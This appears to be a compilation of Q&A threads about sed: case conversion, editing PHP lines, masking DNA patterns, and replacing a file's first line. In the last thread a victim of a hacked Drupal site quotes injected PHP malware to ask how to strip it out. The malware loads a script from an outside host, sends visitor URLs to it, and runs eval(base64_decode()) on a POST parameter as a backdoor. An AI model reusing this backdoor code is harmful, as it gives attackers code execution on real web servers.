How to transfer characters between uppercase and lowercase with sed - sed

For example, my src.tex is
SectionType *p = NULL;
and I want it change to
section_type *p = NULL;
what I want to do is just change the SectionType, but remains the NULL unchanged, I used y/[A-Z]/[a-z], but this will change all the line.
My sed do not support \L,\l,\U and \u functions, it version is 3.* and distributed under FSF, not GNU, may be GNU's works well with this functions, but at the time I could not adopt the GNU's because I'm working in msys and there is no GNU package.
Is there any solution to get it?

From here
Convert CamelCase or camelCase to camel_case:
sed -e 's/\([A-Z][a-z]\)/_\l\1/g' -e 's/^_\([a-z]\)/\1/g' file.txt
Input:
SectionType *p = NULL;
sectionType *p = NULL;
ABCSectionType *p = NULL;
Output:
section_type *p = NULL;
section_type *p = NULL;
ABC_section_type *p = NULL;

This should work without having to install another version of sed. It changes the case only on the first word of the line.
upper=$(printf "%s" {A..Z})
lower=$(printf "%s" {a..z})
sed "s/ /\n/;h;s/[^\n]*\n//;x;s/\n.*//;y/$upper/$lower/;G;s/\n//" inputfile
My version of sed won't do y/[A-Z]/[a-z]/, it needs each character explicitly included which is why I used the variables. The way I created them depends on a feature that only some shells, such as Bash and ksh, have. You can do a simple assignment or use the range if your sed supports it.
If your version of sed is really picky, it may want -e instead of semicolons. This version should work in that case:
sed -e "s/ /\n/" -e "h" -e "s/[^\n]*\n//" -e "x" -e "s/\n.*//" -e "y/$upper/$lower/" -e "G" -e "s/\n//" inputfile

Related

SED find / replace code in php script

I have a large php script that contains the following line
$user = $_REQUEST['user'];
The exact match only appears once in the entire page. I want to change it to
$user = urldecode($_REQUEST['user']);
Can someone advise the best way ?
I'm thinking SED, but everything I've tried has failed to find and replace it.
Any ideas ?
Thanks
Following should help you in same.
sed 's/^$user = $_REQUEST\['"'"'user'"'"'\]\;$/$user = urldecode($_REQUEST\['"'"'user'"'"'\]);/' Input_file
Let's say following is the Input_file(I am assuming here).
cat Input_file
^#^#^#^#00000305^#^#^#^#^#^#430^#430^#^#^#^#^#^#^#^#^#09079989530
$user = $_REQUEST['user'];
tefqfwqfb$user = $_REQUEST['user'];
wvwrjvnwvjn$user = $_REQUEST['user'];fwvwrev
So after running above code following will be the output.
sed 's/^$user = $_REQUEST\['"'"'user'"'"'\]\;$/$user = urldecode($_REQUEST\['"'"'user'"'"'\]);/' Input_file
^#^#^#^#00000305^#^#^#^#^#^#430^#430^#^#^#^#^#^#^#^#^#09079989530
$user = urldecode($_REQUEST['user']);
tefqfwqfb$user = $_REQUEST['user'];
wvwrjvnwvjn$user = $_REQUEST['user'];fwvwrev
sed approach:
sed -E "s/^(\\\$user = )(\\\$_REQUEST\['user'\])/\1urldecode(\2)/" file.php
$ awk 'index($0,"$user = $_REQUEST[\047user\047];") { sub(/= /,"&urldecode("); sub(/;/,")&") } 1' file
$user = urldecode($_REQUEST['user']);
This might work for you (GNU sed):
sed '/^$user = $_REQUEST\['\''user'\''\];$/s/$_[^;]*/urldecode(&)/' file
Match the string and then use substitution to amend part of it.
N.B. '\'' closes the current single quoted sed command, introduces another single quote and then begins the rest of the sed command i.e. it punches a hole through to the shell and then quotes a single quote.

Conditional substitution of patterns in bash strings depending on the beginning of a string

I am new in bash, so excuse me if do not use the right terms.
I need to substitute certain patterns of six characters in a set of files. The order by patterns are substituted depends on the beginning of each string of text.
This is an example of input:
chr1:123-123 5GGGTTAGGGTTAGGGTTAGGGTTAGGGTTA3
chr1:456-456 5TTAGGGTTAGGGTTAGGGTTAGGGTTAGGG3
chr1:789-789 5GGGCTAGGGTTAGGGTTAGGGTTA3
chr1:123-123 etc is the name of the string, they are separated from the string I need to work with by a tab. The string I need to work with is delimited by characters 5 and 3, but I can change them.
I want that all patterns containing T, A, G in anyone of these orders is substituted with X: TTAGGG, TAGGG, AGGGTT, GGGTTA, GGTTAG, GTTAGG.
Similarly, patterns containing CTAGGG, like row 3, in orders similar to the previous one will be substituted with a different character.
The game is repeated with some specific differences for all the 6 characters composing each pattern.
I started writing something like this:
#!/bin/bash
NORMAL=`echo "\033[m"`
RED=`echo "\033[31m"` #red
#read filename for the input file and create a copy and a folder for the output
read -p "Insert name for INPUT file: " INPUT
echo "Creating OUTPUT file " "${RED}"$INPUT"_sub.txt${NORMAL}"
mkdir -p ./"$INPUT"_OUTPUT
cp $INPUT.txt ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
echo
#start the first set of instructions
perfrep
#starting a second set of instructions to substitute pattern with one difference from TTAGGG
onemism
Instructions are
perfrep() {
sed -i -e 's/TTAGGG/X/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
sed -i -e 's/TAGGGT/X/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
sed -i -e 's/AGGGTT/X/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
sed -i -e 's/GGGTTA/X/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
sed -i -e 's/GGTTAG/X/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
sed -i -e 's/GTTAGG/X/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
}
# starting a second set of instructions to substitute pattern with one difference from TTAGGG
onemism(){
sed -i -e 's/[GCA]TAGGG/L/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
sed -i -e 's/G[GCA]TAGG/L/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
sed -i -e 's/GG[GCA]TAG/L/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
sed -i -e 's/GGG[GCA]TA/L/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
sed -i -e 's/AGGG[GCA]T/L/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
sed -i -e 's/TAGGG[GCA]/L/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
}
I will need to repeat also with T[GCA]AGGG, TT[TCG]GGG, TTA[ACT]GG, TTAG[ACT]G and TTAGG[ACT].
Using this procedure, I get for these results for the inputs shown
5GGGXXXXTTA3
5XXXXX3
5GGGLXXTTA3
In my point of view, for my job, the first and second string are both made by X repeated five times, and the order of characters is just slightly different. On the other hand, the third one could be masked like this:
5LXXX3
How do I tell the script that if the string starts with 5GGGTTA instead of 5TTAGGG must start to substitute with
sed -i -e 's/GGGTTA/X/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
instead of
sed -i -e 's/TTAGGG/X/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
?
I will need to repeat with all cases; for instance, if the string starts with GTTAGG I will need to start with
sed -i -e 's/GTTAGG/X/g' ./"$INPUT"_OUTPUT/"$INPUT"_sub.txt
and so on, and add a couple of variation of my pattern.
I need to repeat the substitution with TTAGGG and the variations for all the rows of my input file.
Sorry for the very long question. Thank you all.
Adding information asked by Varun.
Patterns of 6 characters would be TTAGGG , [GCA]TAGGG , T[GCA]AGGG , TT[TCG]GGG , TTA[ACT]GG , TTAG[ACT]G , TTAGG[ACT].
Each one must be checked for a different frame, for instance for TTAGGG we have 6 frames TTAGGG , GTTAGG , GGTTAG, GGGTTA , AGGGTT , TAGGGT.
The same frames must be applied to the pattern containing a variable position.
I will have a total of 42 patterns to check, divided in 7 groups: one containing TTAGGG and derivative frames, 6 with the patterns with a variable position and their derivatives.
TTAGGG and derivatives are the most important and need to be checked first.
#! /usr/bin/awk -f
# generate a "frame" by moving the first char to the end
function rotate(base){ return substr(base,2) substr(base,1,1) }
# Unfortunately awk arrays do not store regexps
# so I am generating the list of derivative strings to match
function generate_derivative(frame,arr, i,j,k,head,read,tail) {
arr[i]=frame;
for(j=1; j<=length(frame); j++) {
head=substr(frame,1,j-1);
read=substr(frame,j,1);
tail=substr(frame,j+1);
for( k=1; k<=3; k++) {
# use a global index to simplify
arr[++Z]= head substr(snp[read],k,1) tail
}
}
}
BEGIN{
fs="\t";
# alternatives to a base
snp["A"]="TCG"; snp["T"]="ACG"; snp["G"]="ATC"; snp["C"]="ATG";
# the primary target
frame="TTAGGG";
Z=1; # warning GLOBAL
X[Z] = frame;
# primary derivatives
generate_derivative(frame, X);
xn = Z;
# secondary shifted targets and their derivatives
for(i=1; i<length(frame); i++){
frame = rotate(frame);
L[++Z] = frame;
generate_derivative(frame, L);
}
}
/^chr[0-9:-]*\t5[ACTG]*3$/ {
# because we care about the order of the prinary matches
for (i=1; i<=xn; i++) {gsub(X[i],"X",$2)}
# since we don't care about the order of the secondary matches
for (hit in L) {gsub(L[hit],"L",$2)}
print
}
END{
# print the matches in the order they are generated
#for (i=1; i<=xn; i++) {print X[i]};
#print ""
#for (i=1+xn; i<=Z; i++) {print L[i]};
}
IFF you can generate a static matching order you can live with then
something like the above Awk script could work. but you say the primary patterns should take precedence and that a secondary rule would be better applied first in some cases. (no can do).
If you need a more flexible matching pattern I would suggest looking at "recursive decent parsing with backtracking" Or "parsing expression grammars".
But then you are not in a bash shell anymore.

replace a line that contains a string with special characters

i want to replace lines which contains a string that has some special characters.
i used \ and \ for escape special characters but nothing changes in file.
i use sed like this:
> sed -i '/pnconfig\[\'dbhost\'\] = \'localhost\'/c\This line is removed.' tco.php
i just want to find lines that contains :
$pnconfig['dbhost'] = 'localhost';
and replace that line with:
$pnconfig['dbhost'] = '1.1.1.1';
Wrap the sed in double quotes as
sed -i "s/\(pnconfig\['dbhost'\] = \)'localhost'/\1'1.1.1.1'/" filename
Test
$ echo "\$pnconfig['dbhost'] = 'localhost';" | sed "s/\(pnconfig\['dbhost'\] = \)'localhost'/\1'1.1.1.1'/"
$pnconfig['dbhost'] = '1.1.1.1';
Use as below:
sed -i.bak '/pnconfig\[\'dbhost\'\] = \'localhost\'/pnconfig\[\'dbhost\'\] = \'1.1.1.1\'/' tco.php
Rather than modifying the file for the first time, create back up and then search for your pattern and then replace it with the other as above in your file tco.php
You don't have to worry about backslashing single quotes by using double quotes for sed.
sed -i.bak "/pnconfig\['dbhost'\] = 'localhost'/s/localhost/1.1.1.1/g" File
Try this one.
sed "/$pnconfig\['dbhost']/s/localhost/1.1.1.1/"

sed substitute with quotes and wildcard

I need to replace if ($_SESSION['POST']['*']==1){ with if (isset($_SESSION['POST']['*']) && $_SESSION['POST']['*']==1){
(I'm using * as a wild card)
I've tried sed -i "s/if ($_SESSION['POST']['.*']/if (isset($_SESSION['POST']['.*']) && $_SESSION['POST']['.*']/g" *.php and a few other variations without success.
Here goes...
sed "s/\(if (\)\(\$_SESSION\['POST']\['\([^']*\)']\)==1/\1isset(\2) \&\& \$_SESSION['POST']['\3']==1/" file
Using double quotes means that the $ symbols must be escaped, otherwise they will be interpreted as shell variables. The square brackets need to be escaped, otherwise they will be interpreted as the beginning of a range. It's OK to leave the closing square brackets as they are.
In order to capture the key, I have used a character class [^']*. This means zero or more characters that are not a single quote.
In the replacement, the captured groups (the parts between parentheses in the match) are referred to using \1, \2, etc.
Testing it out:
$ cat file
if ($_SESSION['POST']['foo']==1){
// do something
}
if ($_SESSION['POST']['bar']==1){
// do something else
}
$ sed "s/\(if (\)\(\$_SESSION\['POST']\['\([^']*\)']\)==1/\1isset(\2) \&\& \$_SESSION['POST']['\3']==1/" file
if (isset($_SESSION['POST']['foo']) && $_SESSION['POST']['foo']==1){
// do something
}
if (isset($_SESSION['POST']['bar']) && $_SESSION['POST']['bar']==1){
// do something else
}
By the way it makes the command a few characters shorter if you use extended regexp mode (-r or -E). In extended mode, the parentheses enclosing capture groups don't have to be escaped but literal ones do, so your command would then be:
sed -r "s/(if \()(\$_SESSION\['POST']\['([^']*)'])==1/\1isset(\2) \&\& \$_SESSION['POST']['\3']==1/" file
This sed should work:
s="if (\$_SESSION['POST']['name']==1){"
sed -r 's/(if +)\((([^=]+)[^\)]+)/\1(isset(\3) \&\& \2/' <<< "$s"
if (isset($_SESSION['POST']['name']) && $_SESSION['POST']['name']==1){
PS: Use sed -E instead of sed -r on OSX.
Here's another.
This is what we need to produce:
Pattern: if (\$_SESSION\['POST'\]\['\([^']*\)'\]
Replacement: if (isset($_SESSION['POST']['\1']) \&\& $_SESSION['POST']['\1']
When quoted in shell level:
Pattern: "if (\\\$_SESSION\['POST'\]\['\([^']*\)'\]"
Replacement: "if (isset(\$_SESSION['POST']['\1']) \\&\\& \$_SESSION['POST']['\1']"
Putting it together:
sed -i "s|if (\\\$_SESSION\['POST'\]\['\([^']*\)'\]|if (isset(\$_SESSION['POST']['\1']) \\&\\& \$_SESSION['POST']['\1']|g" file
Test:
# sed "s|if (\\\$_SESSION\['POST'\]\['\([^']*\)'\]|if (isset(\$_SESSION['POST']['\1']) \\&\\& \$_SESSION['POST']['\1']|g" <<'EOF'
> if ($_SESSION['POST']['ABC']==1){
> EOF
if (isset($_SESSION['POST']['ABC']) && $_SESSION['POST']['ABC']==1){

sed, replace first line

I got hacked by running a really outdated Drupal installation (shame on me)
It seems they injected the following in every .php file;
<?php global $sessdt_o; if(!$sessdt_o) {
$sessdt_o = 1; $sessdt_k = "lb11";
if(!#$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
}
else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if(!#headers_sent()) {
#setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
sessdt_j = #$_SERVER["HTTP_HOST"].#$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "<script src='$sessdt_u'></script>";
echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--";
}
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])){
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}
Can I remove and replace this with sed? e.g.:
find . -name *.php | xargs ...
I hope to have the site working just for the time being to use wget and made a static copy.
You can use sed with something like
sed '1 s/^.*$/<?php/'
The 1 part only replaces the first line. Then, thanks to the s command, it replaces the whole line by <?php.
To modify your files in-place, use the -i option of GNU sed.
To replace the first line of a file, you can use the c (for "change") command of sed:
sed '1c<?php'
which translates to: "on line 1, replace the pattern space with <?php".
For this particular problem, however, something like this would probably work:
sed '1,/^$/c<?php'
which reads: change the range "line 1 to the first empty line" to <?php, thus replacing all injected code.
(The second part of the address (the regular expression /^$/) should be replaced with an expression that would actually delimit the injected code, if it is not an empty line.)
# replace only first line
printf 'a\na\na\n' | sed '1 s/a/b/'
printf 'a\na\na\n' | perl -pe '$. <= 1 && s/a/b/'
result:
b
a
a
perl is needed for more complex regex,
for example regex lookaround (lookahead, lookbehind)
sample use:
patch shebang lines in script files to use /usr/bin/env
shebang line is the first line: #!/bin/bash etc
find . -type f -exec perl -p -i -e \
'$. <= 1 && s,^#!\s*(/usr)?/bin/(?!env)(.+)$,#!/usr/bin/env \2,' '{}' \;
this will replace #! /usr/bin/python3 with #!/usr/bin/env python3
to make the script more portable (nixos linux, ...)
the (?!env) (negative lookahead) prevents double-replacing
its not perfect, since #!/bin/env foo is not replaced with #!/usr/bin/env foo ...